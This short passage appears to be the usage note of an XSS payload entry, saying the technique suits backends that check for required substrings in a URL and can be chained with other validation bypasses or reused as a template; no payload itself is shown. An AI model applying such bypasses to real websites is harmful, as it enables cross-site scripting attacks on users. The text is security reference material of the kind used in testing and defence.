Applicable in scenarios where backend validation requires specific substrings in the URL. Can be chained with other validation bypasses or used as a template for similar XSS vectors.